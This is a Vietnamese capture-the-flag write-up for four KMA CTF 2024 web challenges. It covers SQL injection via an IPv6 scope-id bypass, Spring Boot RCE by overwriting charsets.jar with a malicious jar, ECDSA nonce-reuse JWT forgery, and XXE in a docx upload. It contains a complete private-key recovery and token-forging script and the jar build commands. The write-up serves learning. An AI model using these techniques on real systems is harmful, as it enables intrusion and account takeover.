# Writeup KMA CTF 2024

## pickleball

<figure><img src="/files/1opCOfFGLSyQOdH11buo" alt=""><figcaption></figcaption></figure>

Bài này cho mình một trang web, có tính năng Signup và Signin đều không dùng được nên mình `dirsearch` và thấy được part 1 của flag trong file `robots.txt` :v  &#x20;

<figure><img src="/files/97XDZPQt6HfrCZUSTRTS" alt=""><figcaption></figcaption></figure>

Vì đây chỉ là bài warmup nên mình đoán được là sẽ tìm các part tiếp theo trong các file public static của web.

<figure><img src="/files/tnTP2bgXUmtw9YxXvfPE" alt=""><figcaption><p>Part 2</p></figcaption></figure>

<figure><img src="/files/Sg7jY4LmWTHKdodSWf4k" alt=""><figcaption><p>Part 3</p></figcaption></figure>

> 🚩 Flag: `KMACTF{p1Ckleb4ll_WitH-uU_piCklepal_5a6b89113abb}`

## malicip

<figure><img src="/files/2cVcAj8nYgXY8eDhCu5w" alt=""><figcaption></figcaption></figure>

Bài này cho mình một trang web có tính năng check và list ip. Tại endpoint `/check-ip` ta có đoạn code sau:

<figure><img src="/files/SkLDks7DoOFimzDq4hvu" alt=""><figcaption></figcaption></figure>

Ta có thể thấy mục đích của bài này cực kỳ đơn giản là bypass được hàm `ip_address` tại endpoint `/check-ip` từ đó khai thác SQL injection.

Mình dùng Pycharm để dựng local debug và nhảy vào source code của module `ipaddress` để xem cách nó check ip.

Sau một lúc debug thì mình phát hiện nếu IP address là IPv6 thì trước khi convert string sang ip để check valid thì ta sẽ đi qua method `_split_scope_id`

<figure><img src="/files/jI5aXCZtuqfKiE2JbZGZ" alt=""><figcaption></figcaption></figure>

Tại hàm `_split_scope_id` sẽ split IPv6 thành 2 phần với delimiter là dấu `%`. Phần đầu tiên sẽ là địa chỉ IPv6 được module xử lý tiếp để check valid, còn phần sau dấu `%` được xem là scope id và bị bỏ qua không được check

<figure><img src="/files/OlkeUYHdNZLmfJRzWj1M" alt=""><figcaption></figcaption></figure>

Dựa vào hành vi này ta có thể bypass hàm `ip_address` và trigger SQL injection với payload sau:

<figure><img src="/files/dL0sAZviQIqYrG9EJhj0" alt=""><figcaption></figcaption></figure>

Dump table name

<figure><img src="/files/qmPTXY4BcVZOWN7kOB4Y" alt=""><figcaption></figcaption></figure>

Dump column name

<figure><img src="/files/HUu9HtOUpCLYQM2WEgSO" alt=""><figcaption></figcaption></figure>

Đọc flag

<figure><img src="/files/0vdSq5F0tz0xABQQaNw6" alt=""><figcaption></figcaption></figure>

> 🚩Flag: `KMACTF{actually__this_flag-is_not_so_malicious_but_the_ipv6_is}`

## Spring Up

<figure><img src="/files/o92UOEYyxL9tjuSN0yWc" alt=""><figcaption></figcaption></figure>

Bài này cho mình một trang web chạy bằng spring boot với tính năng upload file và đọc file, mục tiêu là RCE. Nhìn sơ qua source code thì mình thấy có thể upload và ghi đè file vào bất kỳ đường dẫn nào nào (trừ các đường dẫn trong blacklist) và có thể đọc file từ bấy kỳ đường dẫn nào.

Upfile vào đường dẫn bất kỳ

<figure><img src="/files/owyH6p3ekZvaHR3KFbNE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3BhLRD1slYjmmwJkRoZV" alt=""><figcaption></figcaption></figure>

Black list upload file

<figure><img src="/files/uh6U08en2wWaiPbtxllH" alt=""><figcaption></figcaption></figure>

Read file từ đường dẫn bất kỳ

<figure><img src="/files/bsoasZKrOxsq03pTJ5iT" alt=""><figcaption></figcaption></figure>

Vì blacklist là không thể bypass hoặc ít nhất với khả năng hiện tại của mình thì mình không thể bypass được nên mình tìm một đường dẫn khác mà có thể lợi dụng upload file để RCE.

Sau một hồi tìm kiếm thì mình đã tìm ra câu trả lời từ 2 bài blog sau:

* <https://landgrey.me/blog/22/>
* [threedr3am.github.io](https://threedr3am.github.io/2021/04/14/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84SpringBoot%20RCE/)

Ý tưởng exploit là ta sẽ replace file `charsets.jar` trong thư mục `lib` của JDK. Sau khi thay thế thì gọi đến&#x20;

```
GET / HTTP/1.1
Accept: text/html;charset=<custome_charset>
```

Khi Header Accept có giá trị charset thì Spring sẽ parse header lấy ra giá trị \<custome\_charset> và lookup

<figure><img src="/files/nU9uDwHmr6RjfMIE6Y4F" alt=""><figcaption></figcaption></figure>

Vì ta đã thay thế lib charset bằng malicous charsets.jar. Nên ta chỉ cần gọi đến charset mà ta đã modify để RCE -> Win

Tuy nhiên còn 1 vấn đề cần quan tâm là ta chỉ có thể exploit khi spring chưa gọi đến lib charset, ngay khi spring đã gọi đến lib này rồi thì cho dù ta có replace thế nào đi nữa exploit cũng sẽ không hoạt động. Nên ta sẽ có 1 cơ hội duy nhất để RCE.

Ý tưởng là như vậy bây giờ thì cùng exploit thoi.

Đầu tiên để biết được đường dẫn JDK của chall mình chạy đoạn code java sau lên docker

```java
System.getProperty("sun.boot.class.path")
```

Khi build và chạy mình có kết quả

```
/usr/lib/jvm/java-1.8-openjdk/jre/lib/resources.jar
/usr/lib/jvm/java-1.8-openjdk/jre/lib/rt.jar
/usr/lib/jvm/java-1.8-openjdk/jre/lib/sunrsasign.jar
/usr/lib/jvm/java-1.8-openjdk/jre/lib/jsse.jar
/usr/lib/jvm/java-1.8-openjdk/jre/lib/jce.jar
/usr/lib/jvm/java-1.8-openjdk/jre/lib/charsets.jar
/usr/lib/jvm/java-1.8-openjdk/jre/lib/jfr.jar
/usr/lib/jvm/java-1.8-openjdk/jre/classes
```

Ta sẽ tiến hành replace file `/usr/lib/jvm/java-1.8-openjdk/jre/lib/charsets.jar` bằng file charsets.jar độc hại trong link [này](https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks/tree/main/release). File này dùng để test exploit và khi trigger sẽ tạo file ở thư mục `/tmp`

<figure><img src="/files/TZxRL7qrVvCVMolEzaqA" alt=""><figcaption></figcaption></figure>

Vì malicous charsets.jar overwrite hầu hết các charset bằng code RCE nên ta có thể gửi request trigger với bất kỳ charset hợp lệ nào, ví dụ như sau:

<figure><img src="/files/74GB9VuKvu66kSMXCZF0" alt=""><figcaption></figcaption></figure>

Nếu trigger thành công ta sẽ nhận response có status code 500, còn nếu failed ta sẽ nhận response có status code 406

RCE thành công

<figure><img src="/files/SZU8boELT5C1hSayJnaZ" alt=""><figcaption></figcaption></figure>

Bây giờ ta chỉ cần thay đổi code thực thi để đọc flag thôi. Tuy nhiên đây là bước khiến mình mất nhiều thời gian và bị lỗi nhiều nhất. May mắn khi build file jar bằng java trong môi trường docker thì thành công luôn.

Các bước build của mình như sau:

* Git clone code gen payload về máy docker
* Chỉnh sữa code RCE để đọc flag, mình chỉnh file `IBM33722.java` để cat flag vào thư mục `/tmp/endy`

<figure><img src="/files/9uKAT5XYWSjrIhZH0M9C" alt=""><figcaption></figcaption></figure>

* Cd vào thư mục charsets và tiến hành build file jar với các câu lệnh sau

```bash
mkdir out
javac -d out src/sun/nio/cs/ext/ExtendedCharsets.java src/sun/nio/cs/ext/IBM33722.java
jar cfm charsets.jar ./src/META-INF/MANIFEST.MF -C out .
```

{% hint style="info" %}
Khi build ra file class thì ta sẽ bị 7 warning, ta cứ mặc kệ tiếp tục build ra file jar thì payload vẫn hoạt động bình thường
{% endhint %}

Khi này mình có được file `charsets.jar` , việc cuối cùng là tải file về máy, upload vào challage và lấy flag thôi

Upload file

<figure><img src="/files/iYWRnpTL8KJ2n919GZb7" alt=""><figcaption></figcaption></figure>

Trigger

<figure><img src="/files/OICbgHMfbns7yHbjudGZ" alt=""><figcaption></figcaption></figure>

Đọc flag

<figure><img src="/files/yykluQUR6ZRNKvW599zq" alt=""><figcaption></figcaption></figure>

> 🚩Flag: `KMACTF{ayoooo00oo0ooo0o0o00o0ooooo000oo0oo0o00000}`

## Not So Secure

<figure><img src="/files/VjXqQpvXl9ZZLskwc8qE" alt=""><figcaption></figcaption></figure>

Bài này cho ta một trang web như sau<br>

<figure><img src="/files/q7QfwGYmwEzA5jEUIh8x" alt=""><figcaption></figcaption></figure>

Khi nhập tên và password thì ta được cấp 1 jwt và redirect đến `dashboard`&#x20;

Tại đường dẫn robots.txt thì ta có được hint như sau

```
Since the algorithm as described in the header is ES256, the curve is P-256 (see: https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm#Signature_generation_algorithm). 
Logging in with different usernames gives a signature with the same prefix, so there's likely a resuse of k-values. The last 32 bytes of the signature is a SHA256 hash is of the token header and payload.
```

Sau một vài giờ cố gắng để hiểu thuật toán trong vô vọng thì mình có được đoạn script để generate jwt theo ý muốn như sau bằng cách search gg ≽^•⩊•^≼:

````python
import base64
import hashlib

"""
Disclaimer: I did not solve this challenge under the CTF (although I was close). This was solved after the CTF had finished with some help from the challenge author.
I am sharing this as a writeup to help others who like me were curious about the solution to this challenge, yet since so few actually solved it there has been
no solution made public until now.

Since the algorithm as described in the header is ES256, the curve is P-256 (see: https://ldapwiki.com/wiki/ES256). Logging in with different usernames gives a signature with the same prefix,
so there's likely a reuse of k-values. The last 32 bytes of the signature is a SHA256 hash of the token header and payload.

I recommend you to read https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm#Signature_generation_algorithm,
which details an attack on repeated k-values, and is implemented in this python script. Reading this will give you a better understanding
of this script.

Suprisingly, you didn't have to mess with curves of any kind to solve this challenge, just some basic modular artihmetic, web stuff, and perhaps some research
"""

# curve parameters of P-256 (see: https://ldapwiki.com/wiki/P-256)
n = 115792089210356248762697446949407573529996955224135760342422259061068512044369
L_n = len(bin(n)[2:])

def parse_signature(token):
    t = token.split(".")

    sig = base64.urlsafe_b64decode(t[2]+"===")
    m = t[0]+"."+t[1]

    e = hashlib.sha256(m.encode()).digest()

    z = int(bin(int(e.hex(),16))[2:L_n+2],2)

    r = int(sig[:-32].hex(),16) # start of the signature is r, which is defined as the x-component of the point k*G on the curve
    s = int(sig[-32:].hex(),16) # the last 32 bytes of the signature is the s value
    return r,s,z

# two tokes generated for the usernames "admim" and "admio" respectively
token1 = "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImVuZHkxIiwicXVpcmsiOiJjaXZpbGlhbiJ9.B5Tj6WgyWib7Qz0g4wXSS2pQMuh_sKvANfK4pEjJq_I97k-29VvImQoR8zcxzhO_OWLGmsWaoSdm6V7AXLanbA"
token2 = "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImVuZHkyIiwicXVpcmsiOiJjaXZpbGlhbiJ9.B5Tj6WgyWib7Qz0g4wXSS2pQMuh_sKvANfK4pEjJq_J_OBrqlPyi8IdiAHDHZXLlMsb9iHkXlWj7jnN1o_63zw"

# calculate the signature parameters from the tokens
r1, s1, z1 = parse_signature(token1)
r2, s2, z2 = parse_signature(token2)

assert r1==r2 # checks if the r-values match for the two signatures, if they do (spoiler alert: they do), then the same k-value is used and a signature can be forged

# recover the private key d from the two signatures using modular arithmetic (read the wikipedia article)
k = ((z1-z2)*pow((s1-s2)%n,-1,n))%n # k = (z-z')/(s-s') (mod n)
d = ((s1*k-z1)*pow(r1,-1,n))%n

# header and payload of the JWT
admin_token = b"eyJhbGciOiAiRVMyNTYiLCAidHlwIjogIkpXVCJ9." + base64.urlsafe_b64encode(b'{"username": "endy3","quirk":"HACKING"}')
admin_token = admin_token.replace(b"=",b"")

# calculate the signature using the recovered private key (again, read the wikipedia article)
e = hashlib.sha256(admin_token).digest() # e = HASH(m)
z = int(bin(int(e.hex(),16))[2:L_n+2],2) # z = e[:L_n] (in bits)
r = r1
s = (pow(k,-1,n)*(z+r*d))%n # s = (z+rd)/k (mod n)

# putting r and s together and encoding
signature = bytes.fromhex('0'+str(hex(r)[2:])) + bytes.fromhex(str(hex(s)[2:]))
admin_token += b"." + base64.urlsafe_b64encode(signature)

# print forged token
print(admin_token)
```
````

Cre: <https://ctftime.org/writeup/26445>

Mình chỉ cần thay 2 jwt làm mẫu và thêm padding vào giá trị r là code chạy ngon lành. Mình chỉ cần thay giá trị quirk thành HACKING là sẽ mở khóa được chức năng mới của web.

<figure><img src="/files/5I9K8sYCIthyo3Kg0IWn" alt=""><figcaption></figcaption></figure>

Tại đây thì mình có thể upload được file docx và trang web sẽ trả về response như sau khi mình upload thành công

<figure><img src="/files/HkEzab7JibFErvoOCELI" alt=""><figcaption></figcaption></figure>

Dựa vào response này mình xác định sẽ có 3 khả năng để exploit là&#x20;

* XSS
* XXE
* Zipslip/Symlink

Mình fuzz cả 3 trường hợp trên nhưng đều không ra kết quả khả quan. Sau một hồi bế tắc thì mình để ý thấy khi upload thành công web sẽ đếm số lượng words trong file docx, mà trong cấu trúc file docx ta có thể thay đổi giá trị của tag \<Words> trong file `docProps/app.xml` -> có thể XXE và đọc file&#x20;

Mình tạo 1 file docx và unzip để bắt đầu chỉnh sữa file `docProps/app.xml`

<figure><img src="/files/cLIiaV8e31uF9Askdws3" alt=""><figcaption></figcaption></figure>

Sau đó mình nén lại thành file docx và upload

<figure><img src="/files/bmiCB6rDAbYwVzTMpIxK" alt=""><figcaption><p>nén file</p></figcaption></figure>

<figure><img src="/files/ZXpXT2vgR7bBndbQCPln" alt=""><figcaption></figcaption></figure>

> 🚩 Flag: `KMACTF{3cd54_n0nc3_r3u53_4774ck_4nd_xx3_up104d}`

## End.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://endy.gitbook.io/endys-notes/ctf-writeups/writeup-kma-ctf-2024.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
